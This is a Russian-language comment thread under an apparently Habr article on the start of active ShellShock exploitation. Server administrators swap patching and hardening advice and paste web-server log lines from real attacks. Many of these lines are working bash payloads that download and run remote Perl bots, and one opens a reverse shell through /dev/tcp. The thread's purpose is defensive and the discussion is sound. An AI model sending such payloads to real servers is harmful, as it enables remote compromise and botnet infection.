Comments 92
Думаю, что ссылка на virustotal не помешала бы.
0
А что делать обычному пользователю?
+1
Собирать свой ботнет. На гос.пенсию надежды мало, а с золотыми слитками тоже не все так просто, как показали недавние статьи на Хабре.
+53
Я про защиту, апдейт-апдейтом, но на разных системах он в разное время был. Тем более, что новые дыры появились.
0
habrahabr.ru/company/mailru/blog/238475/ — здесь в конце статьи и в комментариях про это как раз идет речь.
+1
А как подвержены атаки DHCP клиентами, OpenSSH?
+3
На хакере есть статья на эту тему:
xakep.ru/shellshock-dhcp/
xakep.ru/shellshock-dhcp/
+4
У меня пока только одна попытка
173.255.204.76 - - [27/Sep/2014:19:58:13 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 18831 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://82.220.38.36/user;curl -O http://82.220.38.36/user ; perl /tmp/user;rm -rf /tmp/user\""
+1
Хорошо, что одна, когда я писал статью, я поискал на гитхабе и там около 9 репозиториев было со скриптами для провединя атаки.
0
Это Вас какие-то скрипт-кидди атаковали — этот первловский скрипт обнаруживается практически всеми антивирусами.
-5
На скольких процентах линуксовых серверов стоит антивирус?
+17
Извините, а при чем тут это? Я лишь указал на технический уровень атакующего. Им был взят из паблика чужой сканер и откопан на одном из хакерских сайтов бот пятилетней давности — это факт. При массовых атаках хакеры борются за каждый процент «пробива» — за инструмент, дающий разницу в 2% профита могут платить суммы в килобаксах, а в данном случае, когда число уязвимых серверов велико, а добыча может быть настолько огромной — цена может быть еще выше. Но платить никому в данном случае не надо было — топикстартера атаковал уже не нуб-скрипт-киддис, а кто-то поумнее, он обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились и до сих пор (хотя прошло уже целых три дня) не восстановились — скрипт на virustotal'e детектируют около пяти антивирусов — те, кто хоть как-то следит за индустрией и имеет совесть (остальные либо стормозили, либо им пофиг). То, что хакер не обернул этого бота даже в base64 (две минуты работы) говорит только об одном — он нубер-копипастер. Мне, как человеку, который все свое свободное время посвящает борьбе с малварью такие люди противны. К тем, кто делает что-то технически красивое есть что-то отдаленно напоминающее уважение, но и к ним я отношусь по заветам Глеба Жеглова.
0
Скорее взят первый попавшийся бот. Если не видно разницы, то просто пытаются использовать уязвимость до того, как обновятся. Две минуты — это много.
Да, именно поэтому антивирусов на линуксовых серверах нет. Когда есть тысячи способов сделать всё, что угодно — сигнатуры не помогают.
обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились
Да, именно поэтому антивирусов на линуксовых серверах нет. Когда есть тысячи способов сделать всё, что угодно — сигнатуры не помогают.
-1
Если антивирус есть хотя бы на 0.5% серверов, то хакер бы уже попытался сбить детект, тем более этот 0.5% может быть в этом случае равен тысячам серверов — неплохой куш можно упустить, правда? Если хакер этого не сделал, то он либо дикий лентяй, либо нубер. Непонятно с чем Вы пытаетесь спорить. Вы считаете атакующего квалифицированным хакером? Я же пишу — битва идет за каждую долю процента. К примеру exploit-kit с «пробивом» 5% может лежать в открытом доступе, а его следующая версия с «пробивом» 6.5% может стоить 2k$ (причем в аренду).
0
Вот тут говорят что это вообще фича а небаг. К сожалению у меня нет сейчас времени перевести это.
paste.lisp.org/display/143864
paste.lisp.org/display/143864
0
Краткий перевод: когда деревья были большими, а интернет маленьким, кто-то решил, что было бы неплохо дать возможность любой переменной окружения стать функцией на bash. Это не было уязвимостью, поскольку все переменные окружения можно было получить только из доверенного источника.
Вот только фичу документировать забыли — а с приходим технологии cgi переменные окружения перестали быть доверенными.
Вот только фичу документировать забыли — а с приходим технологии cgi переменные окружения перестали быть доверенными.
+7
Сейчас на virustotal детектят уже 4 продукта:
www.virustotal.com/en/file/95958316ddb78d11f8d2cdd17a98651f7bd69c1c6dc3a89313095eb1dd12b371/analysis/
www.virustotal.com/en/file/95958316ddb78d11f8d2cdd17a98651f7bd69c1c6dc3a89313095eb1dd12b371/analysis/
+2
К существующим детектам
Добавился детект от DrWeb. А ведь прошло пять дней. Атаке именно с помощью этого файла подверглись множество серверов, про него протрубили на множестве форумов, и? Вопрос знатокам: отвечает Друзь или остальные антивирусы все-таки начнут чесаться?
Agnitum
Sophos
Symantec
TrendMicro/TrendMicro-HouseCall
Добавился детект от DrWeb. А ведь прошло пять дней. Атаке именно с помощью этого файла подверглись множество серверов, про него протрубили на множестве форумов, и? Вопрос знатокам: отвечает Друзь или остальные антивирусы все-таки начнут чесаться?
0
у меня вот такая парочка:
"() { (a)=>' bash -c 'wget http://video-vk.ru:80/logol.php?id4=248866)'" "() { :;}; /bin/bash -c \"(echo 'GET /logol.php?id3=248866' > /dev/tcp/video-vk.ru/80);(wget -qO- http://video-vk.ru:80/logol.php?id2=248866 &> /dev/null);(curl http://video-vk.ru:80/logol.php?id1=248866 &> /dev/null)\" #Your system may be vulnerable to ShellShock. Please visit https://vk.com/define for more information."
"() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
+1
Чую, что ваш сайт входит в милионный топ :)
+1
интересно, а wget >> /dev/null это что, такая попытка DDOSa сайта creditstat неуклюжая?
у себя нашел такие же строчки только хэш другой
у себя нашел такие же строчки только хэш другой
0
А это я сканирую =)
Взял файл с миллионом доменов по популярности.
248866 — это ваше место в нем, кстати.
Процент не большой, но есть крупные магазины, гос. сайты уязвимые. Всем уже рапортовал, у кого нашел.
Взял файл с миллионом доменов по популярности.
248866 — это ваше место в нем, кстати.
Процент не большой, но есть крупные магазины, гос. сайты уязвимые. Всем уже рапортовал, у кого нашел.
+15
video-vk.ru? Серьёзно? И не стыдно вам таким говном заниматься, да ещё и нам об этом рассказывать?
+4
UFO just landed and posted this here
Обновил debian 7, дыра закрылась. На дебиан 6 после обновлений все равно открыто все.
Получено:1 security.debian.org/ wheezy/updates/main bash amd64 4.2+dfsg-0.1+deb7u3
0
странно, в 6 дебиане уже есть заплатка. тестил код из статьи, уже не срабатывает «фича».
+1
проверил только что — заплаток нет
скрипт указывает на наличие бреши
скрипт указывает на наличие бреши
env X="() { :;} ; echo busted" bash -c "echo stuff"
0
>массовому заражению серверов
скорее домашних роутеров и прочих девайсов где из баша и палок веб-интерфейсы собраны
скорее домашних роутеров и прочих девайсов где из баша и палок веб-интерфейсы собраны
-2
Посыпая голову пеплом — особо не знаком с данной уязвимостью, но как видно не зря на tmp ставлю rw,noexec,nosuid,nodev
-4
И давно noexec помогает от perl /tmp/script.pl?
+12
От того что у автора прилетело поможет.
С таким подходом можно и патчи не ставить все-равно пишут:
А так знаете ли чем больше палок в колеса тем лучше.
С таким подходом можно и патчи не ставить все-равно пишут:
Уже есть сведения о патчах, которые оказались не слишком эффективны. Так что за этой уязвимостью нужно следить очень внимательно, она не из тех вещей, про которые можно забыть после установки патча.
А так знаете ли чем больше палок в колеса тем лучше.
0
От того что у автора прилетело поможет.Ну, заменят через час в эксплойте
chmod +x /var/tmp/ec.z;/var/tmp/ec.z
на perl /var/tmp/ec.z
и уже не поможет.Уже есть сведения о патчах, которые оказались не слишком эффективны.В Gentoo bash за эти дни обновился 4 раза.
А так знаете ли чем больше палок в колеса тем лучше.Проблема с некоторыми действиями в отношении безопасности в том, что они создают ложное чувство защищённости. Типичный пример — запрет входа как root через ssh: если разрешён вход только по ключу (как и должно быть), то без разницы, зашёл ты как root или как юзер и дальше сделал su/sudo. Монтирование /tmp с noexec из той же оперы.
В теории — я согласен, чем больше слоёв защиты тем больше вероятность что один из них помешает взлому. Но на практике когда «защиты» начинают городить бездумно, в режиме cargo cult, да ещё и такие, которые могут остановить только неопытных скрипт-кидди — от этого больше вреда, чем пользы.
0
Запрет root полезен тем, что пользователя, под которым надо входить, чтобы получить доступ к sudo еще надо узнать. Ведь пароли будут подбирать к типовым логинам.
Конечно да, тут можно сказать мало ли получат доступ через какие-то скрипты, но пароль для входа в sudo все-равно потребуется. Тут же можно, сказать почему вообще пользователь, под которым работают скрипты доступные из вне, могут лазить куда им не следует (выше домашней директории).
100 процентной защиты нет ни от чего. Но если сложить руки, то будет точно не лучше.
Конечно да, тут можно сказать мало ли получат доступ через какие-то скрипты, но пароль для входа в sudo все-равно потребуется. Тут же можно, сказать почему вообще пользователь, под которым работают скрипты доступные из вне, могут лазить куда им не следует (выше домашней директории).
100 процентной защиты нет ни от чего. Но если сложить руки, то будет точно не лучше.
+1
Во-первых, если получат доступ к моему ключу для ssh это автоматически означает что так же получили доступ к остальным зашифрованным файлам на моей рабочей станции. А это, как и у любого админа, насколько дофига разных паролей и прочих критичных данных, что подберут пароль к sudo или нет — будет уже далеко не самой большой проблемой.
Во-вторых, доступ к sudo часто не требует пароля для некоторых команд/скриптов, и через эти команды нередко можно получить достаточный или вообще полный доступ.
В-третьих, у меня все пароли случайные, длинные и один пароль никогда не используется в двух разных местах — а это автоматически означает, что все пароли к sudo будут храниться там же, где и ключ для ssh — в зашифрованном виде на моей рабочей станции, так что тот, кто получит ключ ssh получит и пароль для sudo.
Вот об этом я и говорил выше. В теории, дополнительный слой защиты в виде пароля для sudo — это хорошая идея. На практике, когда рассматриваешь все возможные сценарии угроз — выясняется, что эта идея хороша исключительно в ситуации, когда доступ по ssh разрешён по паролю, который могут подобрать брутфорсом, и тогда наличие второго пароля для sudo действительно послужит дополнительным препятствием.
Во-вторых, доступ к sudo часто не требует пароля для некоторых команд/скриптов, и через эти команды нередко можно получить достаточный или вообще полный доступ.
В-третьих, у меня все пароли случайные, длинные и один пароль никогда не используется в двух разных местах — а это автоматически означает, что все пароли к sudo будут храниться там же, где и ключ для ssh — в зашифрованном виде на моей рабочей станции, так что тот, кто получит ключ ssh получит и пароль для sudo.
Вот об этом я и говорил выше. В теории, дополнительный слой защиты в виде пароля для sudo — это хорошая идея. На практике, когда рассматриваешь все возможные сценарии угроз — выясняется, что эта идея хороша исключительно в ситуации, когда доступ по ssh разрешён по паролю, который могут подобрать брутфорсом, и тогда наличие второго пароля для sudo действительно послужит дополнительным препятствием.
+1
Ну это вы уже в крайность впали, если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможет. С этим не поспоришь. Разве только ограничить доступ для конкретного ip, но тут можно сказать а если… :)
А вообще отдельный логин, который имеет доступ к sudo и отдельные пользователи для проектов посаженные в chroot как минимум лучше чем вываливать на обозрение root.
Вашу позицию, с тотальной параноей я тоже понимаю. Но знаете ли даже тетрадка с паролями надежно спрятанная в шкафу :) не спасет от паяльника и утюга.
А вообще отдельный логин, который имеет доступ к sudo и отдельные пользователи для проектов посаженные в chroot как минимум лучше чем вываливать на обозрение root.
Вашу позицию, с тотальной параноей я тоже понимаю. Но знаете ли даже тетрадка с паролями надежно спрятанная в шкафу :) не спасет от паяльника и утюга.
0
Все сервисы по отдельным виртуальным машинам с полной изоляцией. И колючая проволока со строгим дяденькой.
0
Вообще-то я не об этом говорил. Я говорил о том, что вместо того чтобы запрещать вход root через ssh или монтировать /tmp noexec не думая, просто потому, что это кто-то когда-то порекомендовал или это написано где-то в интернетах или «так было всегда» — нужно сделать анализ угроз и возможных векторов атак. И вот тогда становится понятно, какие дополнительные слои защиты действительно могут помочь, а какие — в лучшем случае создают админу психологический комфорт (а в худшем создают ложное впечатление надёжности/защищённости и снижают бдительность и осторожность).
если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможетЭто не паранойя и паника. Это результат анализа — я изучил все (известные мне) возможные варианты получить доступ к моему ключу ssh, и во всех этих вариантах одновременно получали доступ к моей базе паролей. Примеры: один из вариантов это руткит с кейлоггером, второй — паяльник.
-1
Арендую дешевую VDS (Ubuntu) для OpenVPN, стоит NGINX с 1 статичной страничкой, как увидел первую новость о уязвимости — сразу поставил все обновления.
Сейчас увидел в логах:
[27/Sep/2014:03:14:51 +0400] «GET / HTTP/1.0» 200 612 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22".
О Linux имею поверхностное представление… Мне стоит паниковать?
Сейчас увидел в логах:
[27/Sep/2014:03:14:51 +0400] «GET / HTTP/1.0» 200 612 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22".
О Linux имею поверхностное представление… Мне стоит паниковать?
0
Nginx не подвержен
nginx.com/blog/nginx-cve-2014-6271-bash-advisory/
nginx.com/blog/nginx-cve-2014-6271-bash-advisory/
-1
При чем тут это? Дыра не в веб-сервере, а в самом баше.
0
NGINX притом, что уязвимость проявляется при запуске CGI-скриптов, которые NGINX в принципе не поддерживает. При подключении PHP через FastCGI bash не задействуется.
+7
А если за nginx стоит апач?
0
а тут какой хочешь прокси ставь, если в тылу всё равно cgi поддерживается — тыл уязвим
когда nginx стоит перед апачем, он перекладывает сообщения из левой руки в правую и обратно, собственно, сам мозги не включает и соответственно ни от чего не защитит
простите за косноязычность
когда nginx стоит перед апачем, он перекладывает сообщения из левой руки в правую и обратно, собственно, сам мозги не включает и соответственно ни от чего не защитит
простите за косноязычность
+1
Да, но нет гарантии что запущенный php-скрипт не вызовет bash сам (явно, или не явно — выполняя какую-то системную команду либо задействовав какую-нить фичу самого php).
+1
Если действительно одна страничка и cgi с башем не используется — паниковать нет смысла.
0
UFO just landed and posted this here
У меня висит owncloud, а по дефлотному пути ****.net отдается заглушка апача. Апдейты накатил. Что-то еще надо делать? Что там с самотестированием на уязвимость?
0
Вроде вот это предлагается для тестирования. Если вываливает busted — все плохо. Интересно — Mikrotik подвержены?
env X="() { :;} ; echo busted" bash -c "echo stuff"
+1
Сегодня ночью стало все куда интереснее.
Слоупоки проснулись? Как минимум с 25го числа в логах попадаются вот такие штуки:
89.207.135.125 - - [25/Sep/2014:17:13:22 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1164 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Но основная волна пришлась на 26-27 сентября, с тонной вот таких запросов:
173.45.100.18 - - [27/Sep/2014:23:03:36 +0700] "GET /cgi-bin/hi HTTP/1.0" 404 1037 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""
0
Порылся в логах Апача на домашнем сервере — тоже нашел следы атак:
IP — 5.9.54.227 — - "-" "() { :;}; /bin/bash -c \«wget -O /dev/null tools.vsibiri.info/are_you_vuln/10*******.RU\»"
Посмотрел информацию по домену vsibiri.info — зарегистрирован достаточно давно — и сейчас уже ничего не отдает — взломали и с него дальше пытаются ломать?
IP — 5.9.54.227 — - "-" "() { :;}; /bin/bash -c \«wget -O /dev/null tools.vsibiri.info/are_you_vuln/10*******.RU\»"
Посмотрел информацию по домену vsibiri.info — зарегистрирован достаточно давно — и сейчас уже ничего не отдает — взломали и с него дальше пытаются ломать?
0
Смущает кусок «are you vulnerable». Чувство, что вначале предложили утилиту для сканирования уязвимости, а потом долбят по выявленным. Хотя фиг егоо знает.
0
Скорее всего на домене организовали сканер уязвимости по списку… последний запрос с этого IP был полтора часа назад — посканировали и свернулись быстренько.
Пробовал подставить в строку из лога ссылку на скачивание на локалхосте — ничего не скачалось, да и обновился уже на всех подконтрольных серверах…
Пробовал подставить в строку из лога ссылку на скачивание на локалхосте — ничего не скачалось, да и обновился уже на всех подконтрольных серверах…
0
Да, это мой домен. Использовали в качестве шелл-прокси через эту уязвимость. Обновился, сейчас все нормально.
0
Друзья, расскажите насчет уязвимости роутеров — чем грозит, как защититься?
P.S. Речь о домашнем ПК.
P.S. Речь о домашнем ПК.
+1
Грозит чем угодно, в зависимости от роутера надо как минимум обновить прошивку (если ваш производитель уже выпустил исправленную), дальше искать следы в логах/процессах. Также лучше первым делом закрыть WEB-интерфейс через WAN.
-1
найдёте роутер с bash — пойдём дальше, а пока там busybox можно не особо дрожать и бояться
+2
Как я понимаю, если mod_cgi(d) в апаче выключен, то бояться нечего?
Тоже в логах несколько запросов нашел
Тоже в логах несколько запросов нашел
209.126.230.72 - - [25/Sep/2014:05:01:27 +0200] "GET / HTTP/1.0" 404 385 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
202.38.120.248 - - [26/Sep/2014:12:31:59 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
54.251.83.67 - - [27/Sep/2014:21:37:07 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
0
У меня на паре доменов такое (с разными data):
80.249.81.130 - - [27/Sep/2014:01:19:40 +0400] "GET / HTTP/1.1" 200 53448 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=мойдомен.ru\""
0
62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 30093 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET / HTTP/1.1" 200 77824 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
Тоже у себя нашел.
0
И у меня нашлось, код шелла еще на месте:
174.143.168.121 - - [29/Sep/2014:14:32:18 +0100] "GET //cgi-bin/bash HTTP/1.0" 404 274 "-" "() { :;}; /bin/bash -c \"wget http://legendsoftwares.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\""
0
Поиск по логам находит только те запросы, которые передавали эксплоит в url или UserAgent. А все остальные эксплоиты, которые ограничились использованием Cookie: и прочих Accept-Charset: в логах не найдёшь… а они, скорее всего, есть.
+2
А почему никто не использует уязвимость, чтобы насильно патчить сервера? Отличный ведь способ выкатывать обновления.
+2
Я не очень буду удивлён если появится статья: «АНБ знало об уязвимости bash 10 лет назад» или «Уязвимость shellshock» — закладка АНБ"
0
В копилку :)
174.143.168.121 — - [30/Sep/2014:02:33:53 +0400] «GET /cgi-bin/bash HTTP/1.1» 404 224 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"
174.143.168.121 — - [30/Sep/2014:02:33:53 +0400] «GET /cgi-bin/bash HTTP/1.1» 404 224 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"
0
Есть ли какой другой вариант тестирования, кроме как из консоли? Можно ли как-то удаленно тестировать наличие такой ошибки в баше, не используя ssh?
Есть задача для проверки серверов заказчика без доступа на сам сервер по соображениям безопасности. Сам заказчик не обладает компетенцией для запуска скриптов в консоли.
Есть задача для проверки серверов заказчика без доступа на сам сервер по соображениям безопасности. Сам заказчик не обладает компетенцией для запуска скриптов в консоли.
0
Ctrl+F ping
таким способом найдете на этой страницы примера вызова пинга на удаленной машине, если сервер отпинговался на ваш — уязвим.
таким способом найдете на этой страницы примера вызова пинга на удаленной машине, если сервер отпинговался на ваш — уязвим.
0
Sign up to leave a comment.
Начало активного применения ShellShock